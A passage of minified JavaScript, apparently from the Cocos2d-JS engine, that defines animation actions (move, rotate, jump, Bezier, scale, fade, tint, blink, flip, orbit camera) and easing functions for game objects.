- f)):e<f&&(this.hj=b.Ve.Wi(a,b.Ud(f-e))),d=!0);return d},k:function(){var a=new b.Fl;this.va(a);a.Wm(this.hj.k(),this.zj.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.hj.A(a);this.zj.A(a)},stop:function(){this.hj.stop();this.zj.stop();b.td.prototype.stop.call(this)},update:function(a){a=this.gd(a);this.hj&&this.hj.update(a);this.zj&&this.zj.update(a)},reverse:function(){var a=b.Fl.Wi(this.hj.reverse(),this.zj.reverse());this.va(a);this.fe(a);return a}});
- b.Uj=function(a){var c=a instanceof Array?a:arguments;0<c.length&&null==c[c.length-1]&&b.log("parameters should not be ending with null in Javascript");for(var d=c[0],e=1;e<c.length;e++)null!=c[e]&&(d=b.Fl.Wi(d,c[e]));return d};b.Fl.create=b.Uj;b.Fl.Wi=function(a,c){var d=new b.Fl;d.Wm(a,c);return d};
- b.eA=b.v.extend({kv:0,as:0,AJ:0,yB:0,Ko:0,BJ:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(this.kv=c||0,this.yB=d||this.kv,!0):!1},k:function(){var a=new b.eA;this.va(a);a.e(this.p,this.kv,this.yB);return a},A:function(a){b.v.prototype.A.call(this,a);var c=a.rotationX%360,d=this.kv-c;180<d&&(d-=360);-180>d&&(d+=360);this.as=c;this.AJ=d;this.Ko=a.rotationY%360;a=this.yB-this.Ko;180<a&&(a-=360);-180>a&&(a+=360);
- this.BJ=a},reverse:function(){b.log("cc.RotateTo.reverse(): it should be overridden in subclass.")},update:function(a){a=this.gd(a);this.target&&(this.target.rotationX=this.as+this.AJ*a,this.target.rotationY=this.Ko+this.BJ*a)}});b.K4=function(a,c,d){return new b.eA(a,c,d)};b.eA.create=b.K4;
- b.ou=b.v.extend({bh:0,as:0,Su:0,Ko:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(this.bh=c||0,this.Su=d||this.bh,!0):!1},k:function(){var a=new b.ou;this.va(a);a.e(this.p,this.bh,this.Su);return a},A:function(a){b.v.prototype.A.call(this,a);this.as=a.rotationX;this.Ko=a.rotationY},update:function(a){a=this.gd(a);this.target&&(this.target.rotationX=this.as+this.bh*a,this.target.rotationY=this.Ko+this.Su*a)},reverse:function(){var a=
- new b.ou(this.p,-this.bh,-this.Su);this.va(a);this.fe(a);return a}});b.bG=function(a,c,d){return new b.ou(a,c,d)};b.ou.create=b.bG;
- b.$j=b.v.extend({ni:null,Bc:null,Oc:null,ctor:function(a,c,d){b.v.prototype.ctor.call(this);this.ni=b.d(0,0);this.Bc=b.d(0,0);this.Oc=b.d(0,0);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(void 0!==c.x&&(d=c.y,c=c.x),this.ni.x=c,this.ni.y=d,!0):!1},k:function(){var a=new b.$j;this.va(a);a.e(this.p,this.ni);return a},A:function(a){b.v.prototype.A.call(this,a);var c=a.Le();a=a.Jg();this.Oc.x=c;this.Oc.y=a;this.Bc.x=c;this.Bc.y=a},update:function(a){a=this.gd(a);if(this.target){var c=
- this.ni.x*a;a*=this.ni.y;var d=this.Bc;if(b.Ht){var e=this.target.Jg(),f=this.Oc;d.x=d.x+this.target.Le()-f.x;d.y=d.y+e-f.y;c+=d.x;a+=d.y;f.x=c;f.y=a;this.target.T(c,a)}else this.target.T(d.x+c,d.y+a)}},reverse:function(){var a=new b.$j(this.p,b.d(-this.ni.x,-this.ni.y));this.va(a);this.fe(a);return a}});b.moveBy=function(a,c,d){return new b.$j(a,c,d)};b.$j.create=b.moveBy;
- b.Jz=b.$j.extend({Cf:null,ctor:function(a,c,d){b.$j.prototype.ctor.call(this);this.Cf=b.d(0,0);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.$j.prototype.e.call(this,a,c,d)?(void 0!==c.x&&(d=c.y,c=c.x),this.Cf.x=c,this.Cf.y=d,!0):!1},k:function(){var a=new b.Jz;this.va(a);a.e(this.p,this.Cf);return a},A:function(a){b.$j.prototype.A.call(this,a);this.ni.x=this.Cf.x-a.Le();this.ni.y=this.Cf.y-a.Jg()}});b.moveTo=function(a,c,d){return new b.Jz(a,c,d)};b.Jz.create=b.moveTo;
- b.El=b.v.extend({uh:0,vh:0,uw:0,vw:0,nv:0,ov:0,Ze:0,$e:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);void 0!==d&&this.e(a,c,d)},e:function(a,c,d){var e=!1;b.v.prototype.e.call(this,a)&&(this.nv=c,this.ov=d,e=!0);return e},k:function(){var a=new b.El;this.va(a);a.e(this.p,this.nv,this.ov);return a},A:function(a){b.v.prototype.A.call(this,a);this.uw=a.skewX%180;this.Ze=this.nv-this.uw;180<this.Ze&&(this.Ze-=360);-180>this.Ze&&(this.Ze+=360);this.vw=a.skewY%360;this.$e=this.ov-this.vw;180<this.$e&&
- (this.$e-=360);-180>this.$e&&(this.$e+=360)},update:function(a){a=this.gd(a);this.target.skewX=this.uw+this.Ze*a;this.target.skewY=this.vw+this.$e*a}});b.a6=function(a,c,d){return new b.El(a,c,d)};b.El.create=b.a6;
- b.tu=b.El.extend({ctor:function(a,c,d){b.El.prototype.ctor.call(this);void 0!==d&&this.e(a,c,d)},e:function(a,c,d){var e=!1;b.El.prototype.e.call(this,a,c,d)&&(this.uh=c,this.vh=d,e=!0);return e},k:function(){var a=new b.tu;this.va(a);a.e(this.p,this.uh,this.vh);return a},A:function(a){b.El.prototype.A.call(this,a);this.Ze=this.uh;this.$e=this.vh;this.nv=this.uw+this.Ze;this.ov=this.vw+this.$e},reverse:function(){var a=new b.tu(this.p,-this.uh,-this.vh);this.va(a);this.fe(a);return a}});
- b.Z5=function(a,c,d){return new b.tu(a,c,d)};b.tu.create=b.Z5;
- b.Zj=b.v.extend({Bc:null,di:null,zr:0,fj:0,Oc:null,ctor:function(a,c,d,e,f){b.v.prototype.ctor.call(this);this.Bc=b.d(0,0);this.Oc=b.d(0,0);this.di=b.d(0,0);void 0!==e&&this.e(a,c,d,e,f)},e:function(a,c,d,e,f){return b.v.prototype.e.call(this,a)?(void 0===f&&(f=e,e=d,d=c.y,c=c.x),this.di.x=c,this.di.y=d,this.zr=e,this.fj=f,!0):!1},k:function(){var a=new b.Zj;this.va(a);a.e(this.p,this.di,this.zr,this.fj);return a},A:function(a){b.v.prototype.A.call(this,a);var c=a.Le();a=a.Jg();this.Oc.x=c;this.Oc.y=
- a;this.Bc.x=c;this.Bc.y=a},update:function(a){a=this.gd(a);if(this.target){var c=a*this.fj%1,c=4*this.zr*c*(1-c),c=c+this.di.y*a;a*=this.di.x;var d=this.Bc;if(b.Ht){var e=this.target.Jg(),f=this.Oc;d.x=d.x+this.target.Le()-f.x;d.y=d.y+e-f.y;a+=d.x;c+=d.y;f.x=a;f.y=c;this.target.T(a,c)}else this.target.T(d.x+a,d.y+c)}},reverse:function(){var a=new b.Zj(this.p,b.d(-this.di.x,-this.di.y),this.zr,this.fj);this.va(a);this.fe(a);return a}});b.AO=function(a,c,d,e,f){return new b.Zj(a,c,d,e,f)};
- b.Zj.create=b.AO;b.Bz=b.Zj.extend({Cf:null,ctor:function(a,c,d,e,f){b.Zj.prototype.ctor.call(this);this.Cf=b.d(0,0);void 0!==e&&this.e(a,c,d,e,f)},e:function(a,c,d,e,f){return b.Zj.prototype.e.call(this,a,c,d,e,f)?(void 0===f&&(d=c.y,c=c.x),this.Cf.x=c,this.Cf.y=d,!0):!1},A:function(a){b.Zj.prototype.A.call(this,a);this.di.x=this.Cf.x-this.Bc.x;this.di.y=this.Cf.y-this.Bc.y},k:function(){var a=new b.Bz;this.va(a);a.e(this.p,this.Cf,this.zr,this.fj);return a}});
- b.S2=function(a,c,d,e,f){return new b.Bz(a,c,d,e,f)};b.Bz.create=b.S2;b.JM=function(a,c,d,e){return 0*Math.pow(1-e,3)+3*e*Math.pow(1-e,2)*a+3*Math.pow(e,2)*(1-e)*c+Math.pow(e,3)*d};
- b.wl=b.v.extend({zf:null,Bc:null,Oc:null,ctor:function(a,c){b.v.prototype.ctor.call(this);this.zf=[];this.Bc=b.d(0,0);this.Oc=b.d(0,0);c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.zf=c,!0):!1},k:function(){var a=new b.wl;this.va(a);for(var c=[],d=0;d<this.zf.length;d++){var e=this.zf[d];c.push(b.d(e.x,e.y))}a.e(this.p,c);return a},A:function(a){b.v.prototype.A.call(this,a);var c=a.Le();a=a.Jg();this.Oc.x=c;this.Oc.y=a;this.Bc.x=c;this.Bc.y=a},update:function(a){a=this.gd(a);
- if(this.target){var c=this.zf,d=b.JM(c[0].x,c[1].x,c[2].x,a);a=b.JM(c[0].y,c[1].y,c[2].y,a);c=this.Bc;if(b.Ht){var e=this.target.Jg(),f=this.Oc;c.x=c.x+this.target.Le()-f.x;c.y=c.y+e-f.y;d+=c.x;a+=c.y;f.x=d;f.y=a;this.target.T(d,a)}else this.target.T(c.x+d,c.y+a)}},reverse:function(){var a=this.zf,a=[b.Mj(a[1],b.OF(a[2])),b.Mj(a[0],b.OF(a[2])),b.OF(a[2])],a=new b.wl(this.p,a);this.va(a);this.fe(a);return a}});b.B_=function(a,c){return new b.wl(a,c)};b.wl.create=b.B_;
- b.dz=b.wl.extend({Jw:null,ctor:function(a,c){b.wl.prototype.ctor.call(this);this.Jw=[];c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.Jw=c,!0):!1},k:function(){var a=new b.dz;this.va(a);a.e(this.p,this.Jw);return a},A:function(a){b.wl.prototype.A.call(this,a);a=this.Bc;var c=this.Jw,d=this.zf;d[0]=b.Ed(c[0],a);d[1]=b.Ed(c[1],a);d[2]=b.Ed(c[2],a)}});b.C_=function(a,c){return new b.dz(a,c)};b.dz.create=b.C_;
- b.Dl=b.v.extend({ka:1,La:1,cs:1,ds:1,ho:0,io:0,Ze:0,$e:0,ctor:function(a,c,d){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.v.prototype.e.call(this,a)?(this.ho=c,this.io=null!=d?d:c,!0):!1},k:function(){var a=new b.Dl;this.va(a);a.e(this.p,this.ho,this.io);return a},A:function(a){b.v.prototype.A.call(this,a);this.cs=a.scaleX;this.ds=a.scaleY;this.Ze=this.ho-this.cs;this.$e=this.io-this.ds},update:function(a){a=this.gd(a);this.target&&(this.target.scaleX=this.cs+
- this.Ze*a,this.target.scaleY=this.ds+this.$e*a)}});b.Og=function(a,c,d){return new b.Dl(a,c,d)};b.Dl.create=b.Og;b.su=b.Dl.extend({A:function(a){b.Dl.prototype.A.call(this,a);this.Ze=this.cs*this.ho-this.cs;this.$e=this.ds*this.io-this.ds},reverse:function(){var a=new b.su(this.p,1/this.ho,1/this.io);this.va(a);this.fe(a);return a},k:function(){var a=new b.su;this.va(a);a.e(this.p,this.ho,this.io);return a}});b.yP=function(a,c,d){return new b.su(a,c,d)};b.su.create=b.yP;
- b.Ft=b.v.extend({Xb:0,mL:!1,ctor:function(a,c){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.Xb=c,!0):!1},k:function(){var a=new b.Ft;this.va(a);a.e(this.p,this.Xb);return a},update:function(a){a=this.gd(a);if(this.target&&!this.Lg()){var c=1/this.Xb;this.target.visible=a%c>c/2}},A:function(a){b.v.prototype.A.call(this,a);this.mL=a.visible},stop:function(){this.target.visible=this.mL;b.v.prototype.stop.call(this)},reverse:function(){var a=
- new b.Ft(this.p,this.Xb);this.va(a);this.fe(a);return a}});b.blink=function(a,c){return new b.Ft(a,c)};b.Ft.create=b.blink;
- b.Yj=b.v.extend({So:0,wv:0,ctor:function(a,c){b.v.prototype.ctor.call(this);void 0!==c&&this.e(a,c)},e:function(a,c){return b.v.prototype.e.call(this,a)?(this.So=c,!0):!1},k:function(){var a=new b.Yj;this.va(a);a.e(this.p,this.So);return a},update:function(a){a=this.gd(a);var c=void 0!==this.wv?this.wv:255;this.target.opacity=c+(this.So-c)*a},A:function(a){b.v.prototype.A.call(this,a);this.wv=a.opacity}});b.sN=function(a,c){return new b.Yj(a,c)};b.Yj.create=b.sN;
- b.au=b.Yj.extend({XC:null,ctor:function(a){b.Yj.prototype.ctor.call(this);a&&this.e(a,255)},reverse:function(){var a=new b.bu;a.e(this.p,0);this.va(a);this.fe(a);return a},k:function(){var a=new b.au;this.va(a);a.e(this.p,this.So);return a},A:function(a){this.XC&&(this.So=this.XC.wv);b.Yj.prototype.A.call(this,a)}});b.nN=function(a){return new b.au(a)};b.au.create=b.nN;
- b.bu=b.Yj.extend({ctor:function(a){b.Yj.prototype.ctor.call(this);a&&this.e(a,0)},reverse:function(){var a=new b.au;a.XC=this;a.e(this.p,255);this.va(a);this.fe(a);return a},k:function(){var a=new b.bu;this.va(a);a.e(this.p,this.So);return a}});b.oN=function(a){return new b.bu(a)};b.bu.create=b.oN;
- b.zA=b.v.extend({md:null,Mc:null,ctor:function(a,c,d,e){b.v.prototype.ctor.call(this);this.md=b.color(0,0,0);this.Mc=b.color(0,0,0);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.v.prototype.e.call(this,a)?(this.md=b.color(c,d,e),!0):!1},k:function(){var a=new b.zA;this.va(a);var c=this.md;a.e(this.p,c.r,c.g,c.b);return a},A:function(a){b.v.prototype.A.call(this,a);this.Mc=this.target.color},update:function(a){a=this.gd(a);var c=this.Mc,d=this.md;c&&(this.target.color=b.color(c.r+(d.r-
- c.r)*a,c.g+(d.g-c.g)*a,c.b+(d.b-c.b)*a))}});b.D6=function(a,c,d,e){return new b.zA(a,c,d,e)};b.zA.create=b.D6;
- b.Cu=b.v.extend({iv:0,hv:0,gv:0,tK:0,sK:0,rK:0,ctor:function(a,c,d,e){b.v.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.v.prototype.e.call(this,a)?(this.iv=c,this.hv=d,this.gv=e,!0):!1},k:function(){var a=new b.Cu;this.va(a);a.e(this.p,this.iv,this.hv,this.gv);return a},A:function(a){b.v.prototype.A.call(this,a);a=a.color;this.tK=a.r;this.sK=a.g;this.rK=a.b},update:function(a){a=this.gd(a);this.target.color=b.color(this.tK+this.iv*a,this.sK+this.hv*a,this.rK+
- this.gv*a)},reverse:function(){var a=new b.Cu(this.p,-this.iv,-this.hv,-this.gv);this.va(a);this.fe(a);return a}});b.C6=function(a,c,d,e){return new b.Cu(a,c,d,e)};b.Cu.create=b.C6;b.rn=b.v.extend({update:function(){},reverse:function(){var a=new b.rn(this.p);this.va(a);this.fe(a);return a},k:function(){var a=new b.rn;this.va(a);a.e(this.p);return a}});b.Ud=function(a){return new b.rn(a)};b.rn.create=b.Ud;
- b.Eq=b.v.extend({kj:null,ctor:function(a){b.v.prototype.ctor.call(this);this.kj=null;a&&this.$(a)},$:function(a){if(!a)throw"cc.ReverseTime.initWithAction(): action must be non null";if(a==this.kj)throw"cc.ReverseTime.initWithAction(): the action was already passed in.";return b.v.prototype.e.call(this,a.p)?(this.kj=a,!0):!1},k:function(){var a=new b.Eq;this.va(a);a.$(this.kj.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.kj.A(a)},update:function(a){a=this.gd(a);this.kj&&this.kj.update(1-
- a)},reverse:function(){return this.kj.k()},stop:function(){this.kj.stop();b.td.prototype.stop.call(this)}});b.xP=function(a){return new b.Eq(a)};b.Eq.create=b.xP;
- b.Et=b.v.extend({pk:null,Jr:0,tC:null,rv:0,tD:null,ctor:function(a){b.v.prototype.ctor.call(this);this.tD=[];a&&this.jO(a)},zN:function(){return this.pk},Q4:function(a){this.pk=a},jO:function(a){if(!a)throw"cc.Animate.initWithAnimation(): animation must be non-NULL";var c=a.np();if(this.e(c*a.gj)){this.Jr=0;this.Q4(a);this.tC=null;this.rv=0;var d=this.tD,e=d.length=0,f=c/a.vi;a=a.Od;b.us(a,b.ig);for(var g=0;g<a.length;g++){var h=e*f/c,e=e+a[g].Nd;d.push(h)}return!0}return!1},k:function(){var a=new b.Et;
- this.va(a);a.jO(this.pk.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.pk.km&&(this.tC=a.b0());this.rv=this.Jr=0},update:function(a){a=this.gd(a);1>a&&(a*=this.pk.gj,(0|a)>this.rv&&(this.Jr=0,this.rv++),a%=1);for(var c=this.pk.Od,d=c.length,e=this.tD,f=this.Jr;f<d;f++)if(e[f]<=a)this.target.ql(c[f].Cj()),this.Jr=f+1;else break},reverse:function(){var a=this.pk,c=a.Od,d=[];b.us(c,b.ig);if(0<c.length)for(var e=c.length-1;0<=e;e--){var f=c[e];if(!f)break;d.push(f.k())}c=new b.Qi(d,a.Nd,
- a.gj);c.Iy(a.km);a=new b.Et(c);this.va(a);this.fe(a);return a},stop:function(){this.pk.km&&this.target&&this.target.ql(this.tC);b.td.prototype.stop.call(this)}});b.i_=function(a){return new b.Et(a)};b.Et.create=b.i_;
- b.wA=b.v.extend({Tq:null,mo:null,ctor:function(a,c){b.v.prototype.ctor.call(this);c&&this.yp(a,c)},yp:function(a,c){return this.e(c.p)?(this.mo=a,this.Tq=c,!0):!1},k:function(){var a=new b.wA;this.va(a);a.yp(this.mo,this.Tq.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.Tq.A(this.mo)},stop:function(){this.Tq.stop()},update:function(a){a=this.gd(a);this.Tq.update(a)},Lca:function(){return this.mo},Sja:function(a){this.mo!=a&&(this.mo=a)}});b.r6=function(a,c){return new b.wA(a,c)};
- b.wA.create=b.r6;b.se=b.Ti.extend({Lg:function(){return!0},step:function(){this.update(1)},update:function(){},reverse:function(){return this.k()},k:function(){return new b.se}});b.Iq=b.se.extend({update:function(){this.target.visible=!0},reverse:function(){return new b.uq},k:function(){return new b.Iq}});b.show=function(){return new b.Iq};b.Iq.create=b.show;b.uq=b.se.extend({update:function(){this.target.visible=!1},reverse:function(){return new b.Iq},k:function(){return new b.uq}});b.xp=function(){return new b.uq};
- b.uq.create=b.xp;b.Du=b.se.extend({update:function(){this.target.visible=!this.target.visible},reverse:function(){return new b.Du},k:function(){return new b.Du}});b.E6=function(){return new b.Du};b.Du.create=b.E6;b.lu=b.se.extend({Fv:!0,ctor:function(a){b.Ti.prototype.ctor.call(this);void 0!==a&&this.ba(a)},update:function(){this.target.ry(this.Fv)},ba:function(a){this.Fv=a;return!0},reverse:function(){return new b.lu(this.Fv)},k:function(){return new b.lu(this.Fv)}});b.y4=function(a){return new b.lu(a)};
- b.lu.create=b.y4;b.eu=b.se.extend({Kb:!1,ctor:function(a){b.Ti.prototype.ctor.call(this);this.Kb=!1;void 0!==a&&this.lO(a)},lO:function(a){this.Kb=a;return!0},update:function(){this.target.flippedX=this.Kb},reverse:function(){return new b.eu(!this.Kb)},k:function(){var a=new b.eu;a.lO(this.Kb);return a}});b.J0=function(a){return new b.eu(a)};b.eu.create=b.J0;
- b.fu=b.se.extend({Lb:!1,ctor:function(a){b.Ti.prototype.ctor.call(this);this.Lb=!1;void 0!==a&&this.mO(a)},mO:function(a){this.Lb=a;return!0},update:function(){this.target.flippedY=this.Lb},reverse:function(){return new b.fu(!this.Lb)},k:function(){var a=new b.fu;a.mO(this.Lb);return a}});b.L0=function(a){return new b.fu(a)};b.fu.create=b.L0;
- b.Pz=b.se.extend({Bh:0,Ie:0,ctor:function(a,c){b.Ti.prototype.ctor.call(this);this.Ie=this.Bh=0;void 0!==a&&(void 0!==a.x&&(c=a.y,a=a.x),this.rO(a,c))},rO:function(a,c){this.Bh=a;this.Ie=c;return!0},update:function(){this.target.T(this.Bh,this.Ie)},k:function(){var a=new b.Pz;a.rO(this.Bh,this.Ie);return a}});b.b4=function(a,c){return new b.Pz(a,c)};b.Pz.create=b.b4;
- b.qn=b.se.extend({pj:null,Zu:null,tr:null,bo:null,ctor:function(a,c,d){b.Ti.prototype.ctor.call(this);void 0!==a&&(void 0===c?this.Gx(a):this.Gx(a,c,d))},Gx:function(a,c,d){c?(this.bo=d,this.Zu=a,this.pj=c):a&&(this.tr=a);return!0},execute:function(){null!=this.Zu?this.Zu.call(this.pj,this.target,this.bo):this.tr&&this.tr.call(null,this.target)},update:function(){this.execute()},aea:function(){return this.pj},Ska:function(a){a!=this.pj&&(this.pj&&(this.pj=null),this.pj=a)},k:function(){var a=new b.qn;
- this.pj?a.Gx(this.Zu,this.pj,this.bo):this.tr&&a.Gx(this.tr);return a}});b.wc=function(a,c,d){return new b.qn(a,c,d)};b.qn.create=b.wc;b.Yy=b.v.extend({kB:0,lB:0,mB:0,jK:0,kK:0,lK:0,lM:0,mM:0,nM:0,ctor:function(){b.v.prototype.ctor.call(this);this.nM=this.mM=this.lM=this.lK=this.kK=this.jK=this.mB=this.lB=this.kB=0},A:function(a){b.v.prototype.A.call(this,a);a=a.Tm();var c=a.CN();this.kB=c.x;this.lB=c.y;this.mB=c.z;c=a.GN();this.jK=c.x;this.kK=c.y;this.lK=c.z;a=a.b2();this.lM=a.x;this.mM=a.y;this.nM=a.z},k:function(){return new b.Yy},reverse:function(){return new b.Eq(this)}});
- b.zq=b.Yy.extend({De:0,tB:0,Wq:0,yJ:0,bh:0,xJ:0,yL:0,wL:0,xL:0,vL:0,ctor:function(a,c,d,e,f,g,h){b.Yy.prototype.ctor.call(this);void 0!==h&&this.e(a,c,d,e,f,g,h)},e:function(a,c,d,e,f,g,h){return b.v.prototype.e.call(this,a)?(this.De=c,this.tB=d,this.Wq=e,this.yJ=f,this.bh=g,this.xJ=h,this.wL=b.Pf(f),this.vL=b.Pf(h),!0):!1},b6:function(){var a,c;c=this.target.Tm();var d=c.GN();a=c.CN();c=d.x-a.x;var e=d.y-a.y;a=d.z-a.z;var d=Math.sqrt(Math.pow(c,2)+Math.pow(e,2)+Math.pow(a,2)),f=Math.sqrt(Math.pow(c,
- 2)+Math.pow(e,2));0===f&&(f=b.$t);0===d&&(d=b.$t);a=Math.acos(a/d);c=0>c?Math.PI-Math.asin(e/f):Math.asin(e/f);return{I3:d/b.bq.up(),X6:a,azimuth:c}},A:function(a){b.v.prototype.A.call(this,a);a=this.b6();isNaN(this.De)&&(this.De=a.I3);isNaN(this.Wq)&&(this.Wq=b.WF(a.X6));isNaN(this.bh)&&(this.bh=b.WF(a.azimuth));this.yL=b.Pf(this.Wq);this.xL=b.Pf(this.bh)},k:function(){var a=new b.zq;a.e(this.p,this.De,this.tB,this.Wq,this.yJ,this.bh,this.xJ);return a},update:function(a){a=this.gd(a);var c=(this.De+
- this.tB*a)*b.bq.up(),d=this.yL+this.wL*a,e=this.xL+this.vL*a;a=Math.sin(d)*Math.cos(e)*c+this.kB;e=Math.sin(d)*Math.sin(e)*c+this.lB;c=Math.cos(d)*c+this.mB;this.target.Tm().KP(a,e,c)}});b.Oh=function(a,c,d,e,f,g,h){return new b.zq(a,c,d,e,f,g,h)};b.zq.create=b.Oh;b.Na=b.v.extend({q:null,ctor:function(a){b.v.prototype.ctor.call(this);a&&this.$(a)},$:function(a){if(!a)throw"cc.ActionEase.initWithAction(): action must be non nil";return this.e(a.np())?(this.q=a,!0):!1},k:function(){var a=new b.Na;a.$(this.q.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.q.A(this.target)},stop:function(){this.q.stop();b.v.prototype.stop.call(this)},update:function(a){this.q.update(a)},reverse:function(){return new b.Na(this.q.reverse())},YE:function(){return this.q}});
- b.UZ=function(a){return new b.Na(a)};b.Na.create=b.UZ;b.yl=b.Na.extend({Vb:0,ctor:function(a,c){b.Na.prototype.ctor.call(this);void 0!==c&&this.$(a,c)},Dka:function(a){this.Vb=a},Fda:function(){return this.Vb},$:function(a,c){return b.Na.prototype.$.call(this,a)?(this.Vb=c,!0):!1},k:function(){var a=new b.yl;a.$(this.q.k(),this.Vb);return a},reverse:function(){return new b.yl(this.q.reverse(),1/this.Vb)}});b.u0=function(a,c){return new b.yl(a,c)};b.yl.create=b.u0;
- b.Wt=b.yl.extend({update:function(a){this.q.update(Math.pow(a,this.Vb))},reverse:function(){return new b.Wt(this.q.reverse(),1/this.Vb)},k:function(){var a=new b.Wt;a.$(this.q.k(),this.Vb);return a}});b.Wt.create=function(a,c){return new b.Wt(a,c)};b.r0=function(a){return{Vb:a,Ra:function(a){return Math.pow(a,this.Vb)},reverse:function(){return b.r0(1/this.Vb)}}};
- b.un=b.yl.extend({update:function(a){this.q.update(Math.pow(a,1/this.Vb))},reverse:function(){return new b.un(this.q.reverse(),1/this.Vb)},k:function(){var a=new b.un;a.$(this.q.k(),this.Vb);return a}});b.un.create=function(a,c){return new b.un(a,c)};b.t0=function(a){return{Vb:a,Ra:function(a){return Math.pow(a,1/this.Vb)},reverse:function(){return b.t0(1/this.Vb)}}};
- b.tn=b.yl.extend({update:function(a){a*=2;1>a?this.q.update(0.5*Math.pow(a,this.Vb)):this.q.update(1-0.5*Math.pow(2-a,this.Vb))},k:function(){var a=new b.tn;a.$(this.q.k(),this.Vb);return a},reverse:function(){return new b.tn(this.q.reverse(),this.Vb)}});b.tn.create=function(a,c){return new b.tn(a,c)};b.s0=function(a){return{Vb:a,Ra:function(a){a*=2;return 1>a?0.5*Math.pow(a,this.Vb):1-0.5*Math.pow(2-a,this.Vb)},reverse:function(){return b.s0(this.Vb)}}};
- b.Tt=b.Na.extend({update:function(a){this.q.update(0===a?0:Math.pow(2,10*(a-1)))},reverse:function(){return new b.Vt(this.q.reverse())},k:function(){var a=new b.Tt;a.$(this.q.k());return a}});b.Tt.create=function(a){return new b.Tt(a)};b.SJ={Ra:function(a){return 0===a?0:Math.pow(2,10*(a-1))},reverse:function(){return b.UJ}};b.kba=function(){return b.SJ};
- b.Vt=b.Na.extend({update:function(a){this.q.update(1==a?1:-Math.pow(2,-10*a)+1)},reverse:function(){return new b.Tt(this.q.reverse())},k:function(){var a=new b.Vt;a.$(this.q.k());return a}});b.Vt.create=function(a){return new b.Vt(a)};b.UJ={Ra:function(a){return 1==a?1:-Math.pow(2,-10*a)+1},reverse:function(){return b.SJ}};b.mba=function(){return b.UJ};
- b.Ut=b.Na.extend({update:function(a){1!=a&&0!==a&&(a*=2,a=1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2));this.q.update(a)},reverse:function(){return new b.Ut(this.q.reverse())},k:function(){var a=new b.Ut;a.$(this.q.k());return a}});b.Ut.create=function(a){return new b.Ut(a)};b.TJ={Ra:function(a){return 1!==a&&0!==a?(a*=2,1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2)):a},reverse:function(){return b.TJ}};b.lba=function(){return b.TJ};
- b.Xt=b.Na.extend({update:function(a){a=0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1;this.q.update(a)},reverse:function(){return new b.Zt(this.q.reverse())},k:function(){var a=new b.Xt;a.$(this.q.k());return a}});b.Xt.create=function(a){return new b.Xt(a)};b.dK={Ra:function(a){return 0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1},reverse:function(){return b.fK}};b.wba=function(){return b.dK};
- b.Zt=b.Na.extend({update:function(a){a=0===a||1===a?a:Math.sin(a*Math.PI/2);this.q.update(a)},reverse:function(){return new b.Xt(this.q.reverse())},k:function(){var a=new b.Zt;a.$(this.q.k());return a}});b.Zt.create=function(a){return new b.Zt(a)};b.fK={Ra:function(a){return 0===a||1==a?a:Math.sin(a*Math.PI/2)},reverse:function(){return b.dK}};b.yba=function(){return b.fK};
- b.Yt=b.Na.extend({update:function(a){a=0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1);this.q.update(a)},k:function(){var a=new b.Yt;a.$(this.q.k());return a},reverse:function(){return new b.Yt(this.q.reverse())}});b.Yt.create=function(a){return new b.Yt(a)};b.eK={Ra:function(a){return 0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1)},reverse:function(){return b.eK}};b.xba=function(){return b.eK};
- b.sn=b.Na.extend({Cb:0.3,ctor:function(a,c){b.Na.prototype.ctor.call(this);a&&this.$(a,c)},yda:function(){return this.Cb},zka:function(a){this.Cb=a},$:function(a,c){b.Na.prototype.$.call(this,a);this.Cb=null==c?0.3:c;return!0},reverse:function(){b.log("cc.EaseElastic.reverse(): it should be overridden in subclass.");return null},k:function(){var a=new b.sn;a.$(this.q.k(),this.Cb);return a}});b.sn.create=function(a,c){return new b.sn(a,c)};
- b.Qt=b.sn.extend({update:function(a){var c=0;0===a||1===a?c=a:(c=this.Cb/4,a-=1,c=-Math.pow(2,10*a)*Math.sin((a-c)*Math.PI*2/this.Cb));this.q.update(c)},reverse:function(){return new b.St(this.q.reverse(),this.Cb)},k:function(){var a=new b.Qt;a.$(this.q.k(),this.Cb);return a}});b.Qt.create=function(a,c){return new b.Qt(a,c)};b.QJ={Ra:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)},reverse:function(){return b.RJ}};
- b.o0=function(a){return a&&0.3!==a?{Cb:a,Ra:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-this.Cb/4)*Math.PI*2/this.Cb)},reverse:function(){return b.q0(this.Cb)}}:b.QJ};b.St=b.sn.extend({update:function(a){var c=0,c=0===a||1==a?a:Math.pow(2,-10*a)*Math.sin((a-this.Cb/4)*Math.PI*2/this.Cb)+1;this.q.update(c)},reverse:function(){return new b.Qt(this.q.reverse(),this.Cb)},k:function(){var a=new b.St;a.$(this.q.k(),this.Cb);return a}});
